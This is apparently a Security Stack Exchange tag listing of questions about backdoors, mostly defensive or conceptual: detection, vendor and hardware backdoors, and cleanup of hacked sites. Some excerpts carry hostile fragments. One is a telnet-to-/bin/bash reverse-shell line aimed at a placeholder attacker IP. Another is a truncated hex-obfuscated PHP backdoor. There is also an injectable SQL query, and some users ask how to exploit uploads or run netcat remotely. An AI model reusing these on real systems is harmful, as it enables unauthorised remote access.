A backdoor is a method of bypassing normal authentication, securing illegal remote access to a computer while attempting to remain undetected.

learn more… | top users | synonyms

286
votes
22answers
294k views

I found that the company I work for is putting a backdoor into mobile phones

I have found out recently that the remote assistant software that we put in a smartphone we sell can be activated by us without user approval. We are not using this option, and it is probably there ...
86
votes
7answers
4k views

How do I know a piece of software only does what the author claims?

Without being a programmer or a computer expert, how can I know if a particular program or any piece of software in general doesn't have hidden unwanted functions compromising privacy and security?
45
votes
5answers
4k views

What does Mark Shuttleworth mean by “we have root”?

In a blog post in response to the Amazon privacy controversy, Mark Shuttleworth wrote: Don’t trust us? Erm, we have root. You do trust us with your data already. You trust us not to screw up on ...
43
votes
6answers
5k views

How do large companies protect their source code?

I recently read the canonical answer of our ursine overlord to the question on How do certification authorities store their private root keys? I then just had to ask myself: How do large companies ...
24
votes
2answers
2k views

What does the Juniper backdoor actually allow an attacker to do?

The Juniper ScreenOS backdoor recently discovered provides administrative access to these firewalls, but in terms of access to valuable data can it actually provide an attacker with anything useful ...
24
votes
1answer
7k views

Consequences of tampered /etc/ssh/moduli

What are the consequences if an attacker is able to modify the /etc/ssh/moduli file?
23
votes
7answers
5k views

What stops a developer from accessing credit card details and other secret data from a company

First of all, I'm sorry if this has been discussed many times. I read many posts about PCI compliance but there are some small things I'm not quite sure about. Suppose there is Mr. GoodGuy, an ...
20
votes
1answer
13k views

Is this a backdoor?

I found the code below on my customers site. It looks like a typical backdoor hidden with hexadecimal, but I'm not 100% sure. <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { ...
12
votes
2answers
9k views

Detecting and removing Absolute persistance technology

Absolute persistance technology amounts to a persistent rootkit pre-installed by many device manufacturers (Acer, Asus, Dell, HP, Lenovo, Samsung, Toshiba, etc) to facilitate LoJack for laptops, and ...
11
votes
2answers
3k views

How do backdoors work? [closed]

I always hear about backdoors and I understand the main purpose but I have some questions: In what kind of software/web application/OS can I find them ? How can I recognize one ? How do I prevent ...
7
votes
4answers
6k views

Is blocking UDP and TCP sufficient to prevent unwanted network activity?

I want to be 100% sure that my machine only connects where and when I want it to. If I use a firewall that blocks all UDP and TCP packets but those that I explicitly allow to pass, can I be 100% sure ...
6
votes
4answers
13k views

How can I detect backdoors?

I have a machine running Mac OS X and I suspect there may be a backdoor installed. I know that I could take it to a professional security firm for analysis, or nuke it from orbit, but I'm interested ...
6
votes
2answers
1k views

Backdoors after SQL injection?

I just found an injection vulnerability on a live site of a client. It looks like this: $sql = "SELECT * FROM users_dl WHERE Username = '" . $Uname . "' AND Password = '" . $Pword . "'"; I ...
6
votes
2answers
142 views

Software can be audited, is there an equivalent for hardware?

In software, code auditing can be used as a mean to gain trust into a software. Of course closed, proprietary software would complicate this, and require to do reverse engineering. Anyway there seems ...
5
votes
6answers
982 views

Could a computer program be used to automate testing for trapdoors?

Could a computer program given the source or object version of another program be used to automate testing for trapdoors/backdoors?
4
votes
2answers
642 views

How can I find the malicious/backdoor codes without knowing the last modified date?

Last night my website got hacked and attacker edited the main index.php. I was wondering even he edited that file, the last modified date did not change. so I just worry if he would put the backdoor ...
4
votes
2answers
131 views

What is a “roving” backdoor?

What is a "roving" backdoor? I understand the general concept of a backdoor. Emphasis on keyword qualifier: "roving"...
4
votes
1answer
2k views

Hiding backdoors in Open Source code in other languages than C and C++?

I am referring to The Underhanded C Contest and Hiding Backdoors in plain sight. They demonstrate, that you can with some cleverness, write Open Source code, publish the code and hide a backdoor in ...
4
votes
3answers
5k views

backdoors in hardware (ie. intel/amd cpu) possible? [closed]

There are several reports about hardware based attacks on IT-security as for instance those here: http://wccftech.com/intel-possibly-amd-chips-permanent-backdoors-planted-nsa/ ...
4
votes
3answers
314 views

BadUSB: Why are firmware writeable in the first place? Manufacturer's backdoor?

How many of you have actually updated their mouse, keyboard or USB stick firmware? How many vendor actually propose updates for such devices? However these devices firmware often offer a proprietary ...
4
votes
1answer
92 views

Run NetCat as bat file instead of exe

I need to run a netcat on a remote lab machine. I can execute remote commands through the browser with Administrator rights (because of the application vulnerability) but I don't have access to the ...
3
votes
3answers
3k views

Disable Perl for some/most Linux users?

One of my server's web accounts got hacked a couple of times. Each time someone downloaded a Perl script via some phpBB forum and used the Perl script to do whatever they wanted to do (mostly connect ...
3
votes
2answers
1k views

I found what, I believe, is a backdoor in my home router, what should I do?

My country doesn't have any laws regarding this subject (Brazil). And I don't want to disclose it to the police, it's more likely they will just keep it to themselves. What should I do?
3
votes
2answers
470 views

How do hard-wired backdoors work?

How can a vulnerability be hardwired? Just read this article, which got me thinking. Is there simply vulnerable software running on a piece of hardware that is read/write only or..?
3
votes
1answer
685 views

Backdoor.ASP.Ace.C keeps showing up and being removed by f-secure

Backdoor.ASP.Ace.C is being found and removed from: C:\Users[username]\AppData\Local\Temp[randomstring] We have recently found some malicious aspx files on our IIS server that we have studied and ...
3
votes
1answer
64 views

Architecture dependency issue associated with malicious payloads

My question is regarding architectural restrictions associated with backdoor/bind/reverse tcp payloads used typically to gain shell through exploitation. In a situation where the target box ...
3
votes
1answer
59 views

Securing the bootloader

When using full disk encryption the bootloader is not encrypted thus allowing attacks like the Evil Maid. My question is how can I secure myself from this? Can I encrypt the drive or store it in a ...
3
votes
1answer
57 views

Is there reliable information on the prevalence of debug backdoors in software?

Developers sometimes forget to turn off the debug features of the software they ship: CWE-489 It is said here that About 20% of home routers have a backdoor in them, and 50% of industrial ...
3
votes
0answers
126 views

How are Intel/Amd Microcode Issues Delivered? Is it possible to block them?

After reading this article, I am really curious as to how, exactly processor microcode updates from Intel or AMD are issued. In what way is the data transmitted? Is it possibly to 'firewall' these ...
2
votes
2answers
122 views

Virus Removal Boot Disks — a few questions

I'm new to working with and using a backdoor/virus with a boot disk. Can they be mounted to a USB drive? What options are out there and what should I look for in one? Are they practical? Do they ...
2
votes
1answer
135 views

Purely as a technical matter, is it possible to make otherwise-strong encryption implemetations that contain governmental backdoors?

So to be clear right-off-the-bat: I think re-designing modern encryption to include governmental "backdoors" is, on balance, a quite bad idea, for any number of good reasons. Nor (FWIW) do I actually ...
2
votes
1answer
279 views

Firmware Backdoor Protection

http://en.wikipedia.org/wiki/Advanced_Configuration_and_Power_Interface#Security_Risk Ubuntu Linux founder Mark Shuttleworth has likened ACPI to Trojan horses.[28] He has described proprietary ...
2
votes
3answers
2k views

How secure is VirtualBox for privacy/anonymity? [closed]

Is it possible that Oracle places backdoors in VirtualBox that compromise a user's privacy/anonymity? For example, is running Whonix through VirtualBox a secure set up if your host OS is unencrypted? ...
2
votes
1answer
4k views

How to check if your computer has a backdoor installed on it? [closed]

Just some time ago I had this unusual popup from Malwarebytes Anti-Malware (MBAM): I did a quick Google of the IP address and found this thread where the OP is complaining of MBAM blocking ...
2
votes
2answers
970 views

Gaining root access on Ubuntu 14.04 [closed]

I am taking a Computer Security class and I am supposed to harden my system really well but I am supposed to leave one "hard backdoor" for the adversary to gain root access. I have been trying to ...
2
votes
1answer
366 views

Reverse shell back door

Why does this example of reverse shell backdoor require two listeners? The Listener is using nc command(nc -l ). telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> ...
2
votes
1answer
65 views

Is it possible to build completely verifiable hardware?

Reproducible builds like they are used for Bitcoin, Tor or the Debian package repository aim at making sure that the binaries you install exactly equate the source code that they are supposed to be ...
2
votes
1answer
322 views

hparm -I /dev/sda does not report a Security section - should I be concerned?

I am in the habit of wiping new drives and for SSDs I use hdparm to perform an ATA secure erase. I just purchased two 44-pin PATA SSDs through an eBay seller in China and hdparm does not report a ...
2
votes
2answers
1k views

Would IT Security professionel people notice a backdoor in Windows 7 or SBS 2011 implemented by Microsoft? [closed]

I guess you have heard of Edward Snowden. Papers around the world published that the NSA invests much time, money and effort for a »full take« of the communication around the world. Given this, it ...
2
votes
2answers
24 views

DNS IP address auto reset

I have a unofficial Windows and i noticed that my internet connection gets reset. By taking a closer look at it, i found that the DNS server address is set to an IP in China. Any reason why this ...
2
votes
0answers
224 views

Backdooring vulnerable lighttpd installed on wireless AP [closed]

I have an AP at home and I'm trying to secure it as much as I can. I found an bug by accident. My AP has 3 ports opened: 22/ssh 53/dns 8081/blackice - icecap What I found is that my port 8081 ...
1
vote
1answer
2k views

Hacked site - encrypted code

Couple days ago I gave noticed that almost all php files on my server are infected with some encrypted code and in almost every file is different. Here is the example from one of the files: ...
1
vote
5answers
1k views

Site backdoor & eval()

I'm running a Joomla 1.7 site which was hacked today. Below script did the hack. ...
1
vote
2answers
731 views

How did the hacker get access to my WordPress upload folder? [closed]

Yesterday I found out there is this http://pastebin.com/MRRny4Ht PHP file in my friends server. I want to know how was the hacker able to upload it there? I read the similar questions but couldn't ...
1
vote
1answer
78 views

Malware, RAT's and backdoors

Is there any kind of malware or RAT that cannot be gotten rid of by a thorough wipe with DBAN, flashing the BIOS and re-installing OS? More importantly, if you've been ratted and did all these things, ...
1
vote
1answer
283 views

backdoor php trojan still dangerous on my local machine?

I recently removed and fixed a lot of backdoor trojans in some files in one of my servers, and I copied those files to my local computer. But the issue is that now that I run the virus scanner on my ...
1
vote
1answer
241 views

Why do device vendors build-in backdoors when it can destroy the companys reputation? [closed]

As the title states: Why do large companies such as router developers intentionally build in backdoors into their product when it can completely destroy the company’s reputation and cause a major ...
1
vote
3answers
192 views

In a company is it good to have a back door account?

Having a backdoor account (that is a username/password that can login in to an administrative account on all machines) can be very useful for IT staff. However, some believe it's a security breach. ...
1
vote
1answer
741 views

What kind of backdoor can be made after hacking wi-fi? [closed]

I'm interested to know if A hacks B's wifi password, what can A do to gain persistent access to the router even after B changes the wifi password? Secondly, how can we detect the backdoor and patch ...
1
vote
1answer
357 views

Execute a remote PHP shell which is inside a file I dont have permission to access

Hi need some help here. I am trying to exploit an unsanitized file upload with a PHP backdoor. Basically the file uploads successfully and I can see my backdoor inside the web applications /images/ ...